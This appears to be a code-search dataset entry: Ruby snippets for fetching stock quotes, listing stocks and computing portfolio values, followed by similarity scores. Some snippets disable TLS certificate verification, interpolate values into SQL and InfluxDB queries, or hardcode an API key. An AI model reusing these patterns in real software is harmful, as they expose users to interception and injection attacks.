"def stockquote(stock)\n url = URI(\"https://apidojo-yahoo-finance-v1.p.rapidapi.com/market/v2/get-quotes?region=US&symbols=#{@stock}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n request = Net::HTTP::Get.new(url)\n request[\"x-rapidapi-key\"] = ENV['X_RAPIDAPI_KEY']\n request[\"x-rapidapi-host\"] = 'apidojo-yahoo-finance-v1.p.rapidapi.com'\n \n response = http.request(request)\n quoteResponse = JSON.parse(response.read_body)['quoteResponse']\n result = quoteResponse['result']\n @zero = result[0]\n puts \"Symbol = #{@zero['symbol']}, Exchange = #{@zero['fullExchangeName']}, Bid = #{@zero['bid']}, Ask = #{@zero['ask']}\"\n\n return \"<div class =col>\n <h2>Symbol=<a>#{@zero['symbol']}</a></h2>\n <h4>Exchange=<a>#{@zero['fullExchangeName']}</a></h4>\n <h4>Bid=<a>#{@zero['bid']}</a></h4>\n <h4>Ask=<a>#{@zero['ask']}</a></h4>\n </div>\"\n end",
"def quote\n endpoint = 'https://www.alphavantage.co/'\n query = \"query?function=GLOBAL_QUOTE&symbol=#{@current_symbol}&apikey=#{@api}\"\n\n resp = JSON.parse(URI.open(\"#{endpoint}#{query}\").read)['Global Quote']\n\n if resp.nil?\n @value = Stock::NO_VALUE\n @movement = Stock::NO_CHANGE\n else\n @value = resp['05. price'].to_i\n change = resp['09. change'].to_i\n\n @movement = if change.positive?\n Stock::POS_CHANGE\n elsif change.negative?\n Stock::NEG_CHANGE\n elsif change.zero?\n Stock::NO_CHANGE\n else\n Stock::NO_CHANGE\n end\n end\n\n old_value = @cache[@current_symbol]\n @cache[@current_symbol] = \"#{@current_symbol} $#{@value} #{@movement}\"\n\n return unless @cache[@current_symbol] != old_value\n\n # TODO: DRY this up, make sure it isn't being called too much (see init_cache)\n # TODO: simple file operations like this are a good candidate for optimization/moving\n File.open(Stock::CACHE_FILENAME, 'w') do |file|\n file.write(@cache.to_json)\n end\n\n @cache[@current_symbol]\n end",
"def market_values\n @config.fetch('stock_market').fetch('values')\n end",
"def print_client_total\n puts \"Total of all stocks held: \"\n # odd = stocks.select.each_with_index { |str, i| i.even? } \n # puts stocks.price\n # puts Hash[*stock_splits = stocks.map { |x| x.to_s.split(' ') }]\n # puts Hash[*stocks]\n end",
"def stock\n sql = \"SELECT * FROM cars\n WHERE shop_id = $1\"\n value = [@id]\n cars = SqlRunner.run(sql, value)\n result = cars.map{|car| Car.new(car)}\n return result\n end",
"def billing_history_hashes\n expand(billing_information_icon)\n show_billing_history_link.click\n wait_until { !billing_history_table.hashes.first.values.first.nil? }\n billing_history_table.hashes\n end",
"def get_HistoricalData\r\n # Get Historical Data\r\n printf \"@I:Get Historical Data from #{@fx_base.historical_base_url}\\n\"\r\n @fx_base.db_list.each do |key,value|\r\n url = @fx_base.historical_base_url + \"ccy=\" + value[1].to_s + \"&type=d\"\r\n file = @fx_base.data_dir + \"/\" + value[3]\r\n printf \"[#{key}]Get Historical Data from #{url} ... \"\r\n @CSVFiles[key] = file\r\n f = open(file,\"w\")\r\n open(url).each do |line|\r\n f.printf line\r\n end\r\n f.close\r\n printf \"Done\\n\"\r\n printf \" - #{file} (#{File::stat(file).mtime})\\n\"\r\n # Check File Size\r\n if File::stat(file).size < 10000\r\n printf \"@E:Maybe could not get Historical Data. please check #{file}\\n\"\r\n exit 1\r\n end\r\n end\r\n end",
"def popular_stocks\n #pluck to pull a column of values from a table\n @stocks = Stock.pluck(:symbol)\n # stock_counts is setting a new hash ready to accept new keys with default value 0\n @stock_counts = Hash.new 0\n @stocks.each do |stock|\n @stock_counts[stock] += 1\n end\n # @sorted_counts is a 2d array, each element of outer array has 2 elements pos 0 & 1\n @sorted_counts = @stock_counts.sort{|a,b| b[1] <=> a[1]}\n render \"popular_stocks\"\n end",
"def index\n @stocks = Stock.all\n end",
"def index\n @stocks = Stock.all\n end",
"def index\n @stocks = Stock.all\n end",
"def index\n @stocks = Stock.all\n end",
"def index\n @stock_tickers = StockTicker.all\n end",
"def seller_weekly_report_current_stock(seller)\n seller_hash = {}\n final_arr = []\n usable_stock = 0\n unusable_stock = 0\n cost_usable_stock = 0.0\n cost_unusable_stock = 0.0\n products = seller.products.where(:is_approved=>true)\n products.each do |product|\n variants = []\n variants << (product.variants.present? ? product.variants : product.master)\n variants = variants.flatten\n variants.each do |variant|\n usable_stock = usable_stock + variant.fba_quantity.to_i\n unusable_stock = unusable_stock + 0\n cost_usable_stock = cost_usable_stock + (variant.cost_price.to_f * variant.fba_quantity.to_i).to_f\n cost_unusable_stock = cost_unusable_stock + 0.0\n arr = []\n arr << product.seller.name\n arr << variant.sku\n arr << variant.cost_price.to_f\n arr << variant.fba_quantity.to_i\n arr << 0\n arr << (variant.cost_price.to_f * variant.fba_quantity.to_i rescue 1).to_f rescue 'NA'\n arr << 0\n arr << variant.name\n final_arr << arr\n end\n end\n seller_hash.merge!(\"products\"=>final_arr, \"usable_stock\"=>usable_stock, \"unusable_stock\"=>unusable_stock, \"cost_usable_stock\"=>cost_usable_stock, \"cost_unusable_stock\"=>cost_unusable_stock)\n return seller_hash\n end",
"def get_value\n portfolio_value = 0\n @stocks.each do |stock|\n portfolio_value += stock.get_value\n end\n portfolio_value\n end",
"def stock_picker(history)\n best_sell_array = [0]\n history.each_with_index do |eo, io|\n best_sell_array[io] = get_best_sell(io, eo, history)\n end\n result_day_pairs = get_result_day_pairs(best_sell_array)\n profit = history[result_day_pairs[0]-1] - history[result_day_pairs[1]-1]\n \"Buy on day #{result_day_pairs[0]} and sell on day #{result_day_pairs[1]} for a profit of #{profit}\"\nend",
"def index\n render :layout => \"user\"\n #Stock.test 'SK6U.SI'\n #Stock.searchSymbol 'starhub'\n #Stock.historicalData 'CC3.SI','2013-07-21','2013-07-25'\n end",
"def index\n @stocks = Stock.all \n \n @stocks.each do |x|\n x.price = StockQuote::Stock.quote(x.ticker).last_trade_price_only\n x.save\n end \n end",
"def index\n #@future_tickers = FutureTicker.all\n @future_tickers = $influxdb.query(\"select * from ticker where contract_type='#{params[:contract_type]}' and symbol='#{params[:symbol]}'\").first[\"values\"]\n end",
"def get_vegetable_stocks (cookies)\n vagetable_list = Constants::VEGETABLE_LIST\n vegetable_stocks = Array.new\n vagetable_list.to_a.each do |vagetable|\n vegetable_number = cookies.permanent['veg_' + vagetable[0].to_s]\n unless vegetable_number then\n vegetable_number = 0\n end\n vegetable_stocks << [vagetable[0], vagetable[1], vegetable_number]\n end\n return vegetable_stocks\n end",
"def in_stock?\n stock\n end",
"def lookup_stock(name)\n return StockQuote::Stock.quote(name)\nend",
"def history(params)\n Client.current.get(\"#{resource_url}/candles\", params)\n end",
"def item_codes\n @stock.values.map(&:code)\n end",
"def stock_picker(stocks)\n\tsell = stocks[0] #sell when it's expensive (highest number in array)\n\tbuy = stocks[0] #buy when it's cheap (lowest number in array)\n\tstocks.each do |element|\n\t\tif element < buy\n\t\t\tbuy = element\n\t\telsif element > buy\n\t\t\tcache = 1\n\t\tend\n\t\tif element > sell\n\t\t\tsell = element\n\t\telsif element < sell\n\t\t\tcache = 1\n\t\tend\n\tend\n\n\tindex_buy = stocks.index(buy)\n\tindex_sell = stocks.index(sell)\n\tresult = [index_buy, index_sell]\n\tputs \"#{result}\"\nend",
"def index\n \t@stocks = Stock.all\n \t#@stock = current_user.stocks\n end",
"def cards\n # all_cards = {}\n object.stock_cards.map do |stock|\n {id: stock.id, user_id: stock.user_id, company: stock.company, buy_price: stock.buy_price, sell_price: stock.sell_price}\n end\n end",
"def history_usd\n rest.get stats_path(:historyUSD) do |response|\n response_handler response\n end\n end",
"def get_current_stock_price(stock_symbol_name)\n quote_type = YahooFinance::StandardQuote\n quote_symbol = stock_symbol_name\n YahooFinance::get_quotes(quote_type,quote_symbol) do |qt|\n @current_stock_price = qt.lastTrade\n return @current_stock_price\n end\n end",
"def index\n @stock_prices = StockPrice.all\n end",
"def index\n # to get list of stocks associated with the current user only\n @stocks = Stock.where(\"user_id = ?\" , current_user.id)\n end",
"def hash\n [cusip, ticker, security_name, security_type, title_of_class, stock_exchange, filing_date, value, amount, type, investment_discretion, other_manager, sole_voting_authority, shared_voting_authority, no_voting_authority].hash\n end",
"def get_value\n current_price = YahooFinance::get_quotes(YahooFinance::StandardQuote, @ticker.upcase)[@ticker.upcase].lastTrade\n current_price * @shares\n end",
"def init_cache\n @cache = {}\n\n get_symbol_values = lambda {\n symbol_length = @symbols.length\n symbol_length.times do |index|\n # API limits -- if you are tracking more than 5 symbols, I'll have to add a delay\n if symbol_length > 5 && index > 4 # TODO: Handle this in batches, so we can support more than 10 symbols, staggered\n # TODO: this fires even if we have it in a cached file. Not the end of the world, but optimally we want to redo this...\n # works for now.\n Util.wait(STOCK_TIMEOUT) { quote_missing_symbol(@symbols[index]) }\n else\n read\n end\n end\n }\n\n overwrite_cache_file = lambda {\n File.open(Stock::CACHE_FILENAME, 'w') do |file|\n file.write(@cache.to_json)\n end\n }\n\n # Attempt to read from file first\n # (over)write file if it doesn't exist, or is 24h+ old.\n if File.exist?(Stock::CACHE_FILENAME)\n yesterday = (Date.today - 1).to_time.to_i\n tomorrow = (Date.today + 1).to_time.to_i\n file_ctime = File.mtime(Stock::CACHE_FILENAME).to_date.to_time.to_i\n\n cache_from_file = JSON.parse(File.read(Stock::CACHE_FILENAME))\n\n mismatched_keys = (cache_from_file.keys.length != @symbols.length) ||\n cache_from_file.keys != @symbols\n old_cache = !(file_ctime > yesterday && file_ctime < tomorrow)\n\n if old_cache || mismatched_keys\n File.delete(Stock::CACHE_FILENAME)\n get_symbol_values.call\n overwrite_cache_file.call\n else\n @cache = cache_from_file\n end\n else\n get_symbol_values.call\n overwrite_cache_file.call\n end\n end",
"def list\n Terminal::Table.new(title: \"Items in Stock\", headings: [ 'Code', 'Name', 'Price'], rows: to_a)\n end",
"def hash\n [account, adjusted_equity_previous_close, equity, equity_previous_close, excess_maintenance, excess_maintenance_with_uncleared_deposits, excess_margin, excess_margin_with_uncleared_deposits, extended_hours_equity, extended_hours_market_value, last_core_equity, last_core_market_value, market_value, start_date, unwithdrawable_deposits, unwithdrawable_grants, url, withdrawable_amount].hash\n end",
"def data\n @market = Market.first\n end",
"def to_a\n items = []\n @stock.each do |code, item|\n items.push(item.to_a)\n end\n items\n end",
"def stock_list(hash)\n \n # First build array of unique items\n stock=Array.new\n for key,value in hash\n unless stock.include?(value[:item]) \n stock << value[:item]\n end\n end\n \n\n # Then build array with each unique item and its count\n\n return_array = Array.new\n\n for stock_item in stock\n count_of_items = 0\n \n for key,value in hash\n\n if value[:item] == stock_item\n count_of_items += 1 \n end\n end\n\n return_array << [stock_item,count_of_items]\n\n end\n\n return return_array\n\nend",
"def stock_by_price(db,price)\r\n info =db.execute(<<-SQL\r\n SELECT stocks2.stock_ticker, stocks2.stock_price FROM stocks2 Where stock_price >\"#{price}\";\r\n SQL\r\n )\r\n puts \"These follwing stocks are above $#{price}.\"\r\n puts \"===========================================\"\r\n info.each do |category|\r\n puts \" \r\n Stock Ticker : #{category['stock_ticker']}\r\n Stock Price : #{category['stock_price']}\"\r\n end\r\n puts \"===========================================\"\r\n\r\nend",
"def get\n\t\t\t@hash\n\t\tend",
"def the_hash\n puts put_in_hash(get_symbols, get_prices, 20)\nend",
"def stock\n self.stock_level_adjustments.sum(:adjustment)\n end",
"def cart_hash\n end",
"def ticker\n ticker = get('/api/1/BTCUSD/ticker')\n Ticker.instance.buy = value_currency ticker['buy']\n Ticker.instance.high = value_currency ticker['high']\n Ticker.instance.price = value_currency ticker['last_all']\n Ticker.instance.low = value_currency ticker['low']\n Ticker.instance.sell = value_currency ticker['sell']\n Ticker.instance.volume = value_bitcoin ticker['vol']\n Ticker.instance.vwap = value_currency ticker['vwap']\n Ticker.instance.avg = value_currency ticker['avg']\n Ticker.instance.last_local = value_currency ticker['last_local']\n Ticker.instance\n end",
"def show\n @stock = Stock.find(params[:id])\n @items = @stock.item\n @stock_audits = @stock.stock_audit\n end",
"def base_quantities\n @base_quantity_hash.keys\n end",
"def brand_toy_stock item\n\t$num_stock = 0\n\t$same_brand.each {|item| $num_stock += item[\"stock\"]}\nend",
"def get\n self.redis.get(self.ticker_key) || 0\n end"
] | [
"0.7228641",
"0.7185762",
"0.7049465",
"0.70317197",
"0.69627225",
"0.6918463",
"0.68774235",
"0.68412143",
"0.6807489",
"0.6789867",
"0.6692942",
"0.6646998",
"0.6639877",
"0.6573211",
"0.64786494",
"0.6422366",
"0.64222544",
"0.6397593",
"0.6381188",
"0.6366301",
"0.62897253",
"0.62707716",
"0.6264332",
"0.6259996",
"0.625989",
"0.6185716",
"0.61782706",
"0.61439407",
"0.6137391",
"0.6137377",
"0.61079574",
"0.61012733",
"0.6095643",
"0.6093408",
"0.60820186",
"0.60694176",
"0.6051058",
"0.60411537",
"0.6037711",
"0.6035391",
"0.60352015",
"0.60182726",
"0.59965456",
"0.5988708",
"0.59868854",
"0.5979573",
"0.59781957",
"0.59765327",
"0.59740484",
"0.5968345",
"0.59651196",
"0.5931607",
"0.5914711",
"0.5908692",
"0.59010845",
"0.59009534",
"0.58952403",
"0.58948135",
"0.58864945",
"0.58773947",
"0.58418363",
"0.58418363",
"0.58418363",
"0.58418363",
"0.58396405",
"0.5836812",
"0.582031",
"0.58189625",
"0.58162695",
"0.5800503",
"0.57765734",
"0.5773071",
"0.57642186",
"0.575397",
"0.5738688",
"0.570637",
"0.5703979",
"0.5702546",
"0.5689049",
"0.56870764",
"0.5684907",
"0.5667538",
"0.5649671",
"0.56487083",
"0.56432694",
"0.5637733",
"0.5637379",
"0.56371784",
"0.56365275",
"0.5633862",
"0.56276625",
"0.56208926",
"0.5618235",
"0.56163317",
"0.5612268",
"0.56050223",
"0.5603703",
"0.560242",
"0.5600296",
"0.5591984",
"0.5590486"
] | 0.0 | -1 |
Returns current stock price (float) repeated code to avoid hitting the API twice for every request by using above function first | def get_current_stock_price(input)
url = "https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=#{input}&apikey=#{ENV['STOCKS_API_KEY']}"
response = RestClient.get(url)
my_response = JSON.parse(response)
if my_response["Error Message"] == "Invalid API call. Please retry or visit the documentation (https://www.alphavantage.co/documentation/) for TIME_SERIES_DAILY." || my_response["Note"] == "Thank you for using Alpha Vantage! Our standard API call frequency is 5 calls per minute and 500 calls per day. Please visit https://www.alphavantage.co/premium/ if you would like to target a higher API call frequency."
false
else
my_response["Time Series (Daily)"][current_date_to_YYYYMMDD]["1. open"].to_f
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_value\n current_price = YahooFinance::get_quotes(YahooFinance::StandardQuote, @ticker.upcase)[@ticker.upcase].lastTrade\n current_price * @shares\n end",
"def stock_price(ticker)\r\n\tstock_price = StockQuote::Stock.quote(ticker).last_trade_price_only\r\n\t\"The price of #{ticker} is $#{stock_price}\"\r\nend",
"def price\n closing_price = StockQuote::Stock.quote(ticker).close\n return \"#{closing_price} (Closing)\" if closing_price\n \n opening_price = StockQuote::Stock.quote(ticker).open\n return \"#{opening_price} (Opening)\" if opening_price\n 'Unavailable' #retrun unavailable to neither closing price or opending price is available\n end",
"def stock_price(ticker)\n\tstock_price = StockQuote::Stock.quote(ticker).last_trade_price_only\n\t\"The price of #{ticker} is $#{stock_price}\"\nend",
"def price\n return self[:price] if market_open?\n previous_close\n end",
"def get_current_stock_price(stock_symbol_name)\n quote_type = YahooFinance::StandardQuote\n quote_symbol = stock_symbol_name\n YahooFinance::get_quotes(quote_type,quote_symbol) do |qt|\n @current_stock_price = qt.lastTrade\n return @current_stock_price\n end\n end",
"def get_price\n request_url = \"https://api.intrinio.com/data_point?identifier=#{ticker}&item=last_price\"\n restclient = RestClient::Resource.new(request_url,ENV[\"INTRINIO_USERNAME\"],ENV[\"INTRINIO_PASSWORD\"])\n response = restclient.get\n\n price = JSON.parse(response)\n\n self.price = price[\"value\"].to_f\n self.save\n #\n # api_key = ENV[\"BAR_CHART_API\"]\n #\n # url = \"http://marketdata.websol.barchart.com/getQuote.json?key=#{api_key}&symbols=#{self.ticker}\"\n #\n # response = RestClient.get(url)\n #\n # data = JSON.parse(response)\n #\n # if data[\"status\"][\"code\"] == 200\n # self.price = data[\"results\"][0][\"lastPrice\"].to_f\n # self.save\n # end\n end",
"def price\n closing_price = StockQuote::Stock.quote(ticker).close\n return \"#{closing_price} (closing)\" if closing_price\n \n opening_price = StockQuote::Stock.quote(ticker).open\n return \"#{opening_price} (Opening)\" if opening_price\n 'Unavailable'\n end",
"def current_price\n curr = self.item_prices.current.first\n if curr.nil?\n return nil\n else\n return curr.price\n end\n end",
"def current_price\n # hard coded currency but can be used in future to get data for multiple currencies\n response = Faraday.get(\"https://api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies=usd&include_24hr_change=true\")\n if response.success? # happy path\n render json: JSON.parse(response.body), status: response.status\n else # sad path\n render json: { errors: JSON.parse(response.body) }, status: response.status\n end\n end",
"def updatePrice()\n\t\t# ビットコインヒストリカルデータの取得\n\t\tget_btc_api()\n\n\t\t# 日経平均を中心にkabutanで取得できる国内銘柄\n\t\tarrCode = getKabutanTicker()\n # 一気に250銘柄進めようとすると負荷をかけてしまうためまずい→updated_atを見ながら当日取得していない銘柄を5銘柄ずつくらい取得する\n\t\tif !arrCode.nil?\n\t arrCode.each do |code|\n\t\t\t\tticker_without_t = code.gsub(/-T/, '').to_s\n\t getPriceKabutan(ticker_without_t)\n\t end\n\t\tend\n\n\t\t#株価指数(YahooFinanceで取得可能なもの)\n\t\tarrCode = getYahooTicker()\n\t\tif !arrCode.nil?\n\t\t\tarrCode.each_with_index do |code, i|\n\t\t\t\tp \"#{i}番目の株価取得中\"\n\t\t\t\tgetPriceYahoo(code)\n\t\t\tend\n\t\tend\n\tend",
"def update_stock_price(tckr)\n #return a float with current price\n\n #api\n url = 'https://cloud.iexapis.com/stable'\n end_point = \"/stock/#{tckr.downcase}/batch?\"\n query_string = \"types=quote&\"\n\n composite_url = \"#{url}#{end_point}#{query_string}token=#{TOKEN}\"\n\n response = Validation.validate_api(composite_url)\n # stock_valid(response)\n #url\n #endpoints\n #querystring => transform some array of companytickers into string separated by commas\n\n #parse with json\n\n json = JSON.parse(response[1])\n\n #pp json[\"quote\"]\n\n return [json[\"quote\"][\"companyName\"], json[\"quote\"][\"latestPrice\"]]\n\n\n end",
"def updated_last_price\n return StockQuote::Stock.quote(self.ticker).latest_price\n end",
"def current_price; self['CurrentPrice'].to_i; end",
"def get_stock(stock_ticker)\n stock = StockQuote::Stock.quote(stock_ticker)\n return stock\nend",
"def quote\n endpoint = 'https://www.alphavantage.co/'\n query = \"query?function=GLOBAL_QUOTE&symbol=#{@current_symbol}&apikey=#{@api}\"\n\n resp = JSON.parse(URI.open(\"#{endpoint}#{query}\").read)['Global Quote']\n\n if resp.nil?\n @value = Stock::NO_VALUE\n @movement = Stock::NO_CHANGE\n else\n @value = resp['05. price'].to_i\n change = resp['09. change'].to_i\n\n @movement = if change.positive?\n Stock::POS_CHANGE\n elsif change.negative?\n Stock::NEG_CHANGE\n elsif change.zero?\n Stock::NO_CHANGE\n else\n Stock::NO_CHANGE\n end\n end\n\n old_value = @cache[@current_symbol]\n @cache[@current_symbol] = \"#{@current_symbol} $#{@value} #{@movement}\"\n\n return unless @cache[@current_symbol] != old_value\n\n # TODO: DRY this up, make sure it isn't being called too much (see init_cache)\n # TODO: simple file operations like this are a good candidate for optimization/moving\n File.open(Stock::CACHE_FILENAME, 'w') do |file|\n file.write(@cache.to_json)\n end\n\n @cache[@current_symbol]\n end",
"def compute_stock_price\n self.get_present_value\n self.assign_company_values\n return (@composite_share_value).round(2)\n end",
"def price\n basic = Spree::Currency.basic.char_code\n price = prices.where(currency: basic).limit(1)[0]\n if price\n amount = price.amount\n else\n amount = read_attribute(:price) || 0\n end\n Spree::Currency.conversion_to_current(amount)\n end",
"def promo_price\n price*0.75\n end",
"def get_price\n item_prc_1\n end",
"def get_latest_price(ticker)\n result = get_historic_stock_data(ticker, @fake_time - 2.days, @fake_time + 2.days, \"1d\")\n price_result = 0\n result.each { |point| \n # Since markets are closed on weekends and holidays, we must take the latest day the market was open\n if point.date < @fake_time \n price_result = point.average_price\n end\n }\n price_result\n end",
"def old_price\n\t\tif $global_share\n\t\t\tif self[:old_price] == 0\n\t\t\t\tself[:price]\n\t\t\telse\n\t\t\t\tself[:old_price]\n\t\t\tend\n\t\telse\n\t\t\tself[:old_price]\n\t\tend\n\tend",
"def market_value\n mp = self.clearing_price\n mp * self.open_volume * self.instrument_multiplier * self.instrument_currency_exchange_rate\n end",
"def fixed_price\n data.fixed_price\n end",
"def price\n price = read_attribute(:price)\n if User.current and User.current.currency\n price.to_d * User.current.currency.exchange_rate.to_d\n else\n price.to_d\n end\n end",
"def market_value( stock_ticker_symbol, shares )\n\tresult = 0.0\n\n\t#BEGIN_STUDENT\n\t\tif STOCKS.has_key? (stock_ticker_symbol)\n\t\t\tresult = (STOCKS.fetch(stock_ticker_symbol) * shares.to_f).round(2)\n end\t\n\n\t#END_STUDENT\n\n\treturn result\nend",
"def askPrice()\n @price = @serviceCorp.askPriceFor(self) if(@serviceCorp) ;\n return @price ;\n end",
"def real_time_quote\n response = Unirest.get(\"http://www.24hgold.com/english/gold_silver_prices_charts.aspx/GetLastValue?sCurrency=USD\", \n headers: { \"Content-Type\" => \"application/json\" }, \n parameters: { :age => 23, :foo => \"bar\" })\n \n response.code # Status code\n response.headers # Response headers\n response.body # Parsed body\n response.raw_body # Unparsed body\n gold_silver_price = JSON.parse(response.raw_body)\n #puts \"from service: \" + gold_silver_price.to_s\n gold_price = gold_silver_price[\"d\"][1][0] + gold_silver_price[\"d\"][1][2..7].gsub(\",\",\".\") \n silver_price = gold_silver_price[\"d\"][6].gsub(/\\s+/,\"\").gsub(\",\",\".\")\n puts gold_price\n #puts silver_price\n [::Forecasting::Quote::from_symbol_and_price(\"GOLD\",gold_price),::Forecasting::Quote::from_symbol_and_price(\"SILVER\",silver_price)]\n end",
"def gain_price(current_price = nil)\n price = self.price.present? ? self.price : 0.0\n current_price = current_price.present? ? current_price : self.item.current_price\n (current_price - price )\n end",
"def si_current_stock\n product = params[:product]\n store = params[:store]\n current_stock = 0\n if product != '0' && store != '0'\n current_stock = Stock.find_by_product_and_store(product, store).current rescue 0\n end\n # Format numbers\n current_stock = number_with_precision(current_stock.round(4), precision: 4)\n # Setup JSON\n @json_data = { \"stock\" => current_stock.to_s }\n render json: @json_data\n end",
"def get_current_price\r\n if rank_two!=nil\r\n self.current_price= (rank_two.value + increment > rank_one.value ? rank_one.value : rank_two.value + increment)\r\n else\r\n self.current_price = self.minimal\r\n end\r\n\r\n end",
"def grab_price\n\t\tcurrent_price = \"$\" + @price_span.content\n\t\t#close_price = \"$\" + @close_span\n\t\tputs \"The greatest car company in the world has a stock price of \"\n\t\tputs current_price\n\t\t#puts \"Yesterday the stock closed at #{close_price}.\"\n\n\tend",
"def get_value\n portfolio_value = 0\n @stocks.each do |stock|\n portfolio_value += stock.get_value\n end\n portfolio_value\n end",
"def price\n b = read_attribute(:price)\n b.to_d * User.current.currency.exchange_rate.to_d\n end",
"def of_current_stock\n product = params[:product]\n store = params[:store]\n current_stock = 0\n if product != '0' && store != '0'\n current_stock = Stock.find_by_product_and_store(product, store).current rescue 0\n end\n # Format numbers\n current_stock = number_with_precision(current_stock.round(4), precision: 4)\n # Setup JSON\n @json_data = { \"stock\" => current_stock.to_s }\n render json: @json_data\n end",
"def calculated_price\n msrp\n end",
"def buyback_price\n return self.buy_price\n end",
"def price(currency = 'USD')\n first_one do |api|\n api.price(currency)\n end\n end",
"def last_trade_price\n quote.last_trade_price\n end",
"def current_asking_price\n !!get_last_bid ? get_last_bid.amount : self.price\n end",
"def price\n b = read_attribute(:price)\n user = User.current.blank? ? User.where(id: 0).first : User.current\n b.to_d * user.currency.exchange_rate.to_d\n end",
"def portfolio_value(fake_yahoo_api)\n # Go through our positions and add them up, then add in the cash balance\n @positions.map { |key, value| fake_yahoo_api.get_latest_price(key) * @positions[key] || 0 }\n .reduce(:+) || 0\n + account_balance\n end",
"def sell_price\r\n price\r\n end",
"def price\n (price_in_cents / 100.0) unless price_in_cents.nil?\n end",
"def price\n response[\"price\"]\n end",
"def mid_price\n price\n end",
"def stock_analysis(symbol, current_info = nil)\n # Grab current price\n logger.debug \"Looking up symbol #{symbol}\\n\"\n\n # Lookup stock info if we didn't already get it in batch\n if not current_info\n if @stock_source == nil\n @stock_source = GoogleFinanceScraper.new(DebugLogger.modes[:debug])\n end\n\n current_info = @stock_source.lookup_by_symbol(symbol)\n end\n\n # Get all transactions (group by lots when available)\n tran_records = Transaction.joins(:user).where(transactions: {:symbol => symbol, :user_id => current_user.id}).order(\"date\")\n\n lots = []\n lots.append(tran_records)\n\n summary = {}\n summary[:totalRealizedDollar] = 0.00\n summary[:totalRealizedPercent] = 0.00\n summary[:totalUnrealizedDollar] = 0.00\n summary[:totalUnrealizedPercent] = 0.00\n\n # Compute the gains and losses for each \"lot\"\n lots.each do |lot|\n quantity = 0.0\n cost = 0.0\n\n lot.each do |tran|\n if (tran.action)\n if (tran.action.is_dividend? or tran.action.is_interest?)\n summary[:totalRealizedDollar] += tran.amount\n elsif (tran.action.is_sell?)\n summary[:totalRealizedDollar] += tran.amount\n quantity -= tran.quantity\n elsif (tran.action.is_buy?)\n quantity += tran.quantity\n # Buy amounts are negative\n cost += tran.amount.abs\n elsif (tran.action.is_fee?)\n cost += tran.amount.abs\n end\n end # if tran.action\n end\n summary[:totalUnrealizedDollar] = quantity * current_info[\"price\"]\n summary[:totalCost] = 0-cost\n summary[:netValue] = summary[:totalUnrealizedDollar] + summary[:totalRealizedDollar] - cost\n summary[:percent] = summary[:netValue] / cost\n end\n\n result = {}\n result[:lots] = lots\n result[:summary] = summary\n result[:symbol] = symbol\n result[:currentPrice] = current_info[\"price\"]\n result[:change_amt] = current_info[\"change_amt\"]\n\n return result\n end",
"def price\n return eval_shop_condition(@price_formula) unless @price_formula.empty?\n return item.price if @price_type == 0\n return @price\n end",
"def get_current_stock_data(input)\n url = \"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=#{input}&apikey=#{ENV['STOCKS_API_KEY']}\"\n response = RestClient.get(url)\n my_response = JSON.parse(response)\n if my_response[\"Error Message\"] == \"Invalid API call. Please retry or visit the documentation (https://www.alphavantage.co/documentation/) for TIME_SERIES_DAILY.\" || my_response[\"Note\"] == \"Thank you for using Alpha Vantage! Our standard API call frequency is 5 calls per minute and 500 calls per day. Please visit https://www.alphavantage.co/premium/ if you would like to target a higher API call frequency.\"\n false\n else\n daily_stock_info = my_response[\"Time Series (Daily)\"][current_date_to_YYYYMMDD]\n end\nend",
"def show\n @purchased_stock = PurchasedStock.find(params[:id])\n # update purchased_stock's value_in_stocks\n current_value_in_stocks = 0 \n if (@purchased_stock.total_qty > 0)\n new_value = ((YahooStock::Quote.new(:stock_symbols => [@purchased_stock.stock_code]).results(:to_array).output[0][1].to_f) * 100).to_i\n end\n @purchased_stock.value_in_stocks = new_value * @purchased_stock.total_qty\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchased_stock }\n end\n end",
"def show\n @purchased_stock = PurchasedStock.find(params[:id])\n # update purchased_stock's value_in_stocks\n current_value_in_stocks = 0 \n if (@purchased_stock.total_qty > 0)\n new_value = ((YahooStock::Quote.new(:stock_symbols => [@purchased_stock.stock_code]).results(:to_array).output[0][1].to_f) * 100).to_i\n end\n @purchased_stock.value_in_stocks = new_value * @purchased_stock.total_qty\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchased_stock }\n end\n end",
"def price\n return base_price - quantity_discount + shipping\nend",
"def total_price \n sticker.price.to_i * quantity.to_i\n end",
"def getLatestPrice(api_uri,curr)\n\n api_server = 'https://api.coinmarketcap.com'\n url = \"#{api_server}#{api_uri}/?convert=#{curr}\"\n api_json = getJsonObject(url)\n json_hash = Hash[*api_json.flatten]\n puts(json_hash['price_inr'])\n return json_hash['price_inr']\nend",
"def current_usd_value\n # return cached value if it was taken recently\n cache_age = (Time.now - @last_usd_value[:last_update]).to_i\n return @last_usd_value[:value] if cache_age < 2.minutes\n\n # otherwise, get the current USD value from bitcoinaverage.com API\n usd_value_url = 'https://api.bitcoinaverage.com/ticker/global/USD'\n current_value_json = JSON.parse(URI.parse(usd_value_url).read)\n\n # cache the latest value and return it\n @last_usd_value[:last_update] = Time.now\n @last_usd_value[:value] = current_value_json['last'].to_f\n end",
"def get_weighted_quote\n\t\t\tif @current_stock_price.nil?\n\t\t\t\tquote_array = [method(:get_ask).call, method(:get_bid).call, method(:get_low).call, method(:get_high).call, method(:get_last).call]\n\t\t\t\t@current_stock_price = quote_array.compact.reduce(:+) / quote_array.compact.count\n\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\treturn true\n\t\t\tend\n\t\tend",
"def livequote(ticker)\n\tfunction = 'TIME_SERIES_INTRADAY'\n\tsymbol = ticker\n\tinterval = '1min' \n\tapikey = '4528' #provided at registration\n\turl = \"http://www.alphavantage.co/query?function=#{function}&symbol=#{symbol}&interval=#{interval}&apikey=#{apikey}\"\n\turi = URI(url)\n\tresponse = Net::HTTP.get(uri)\n\tinfo = JSON.parse(response)\n\treturn info.values[1].values[0].values[3].to_f.round(2)\nend",
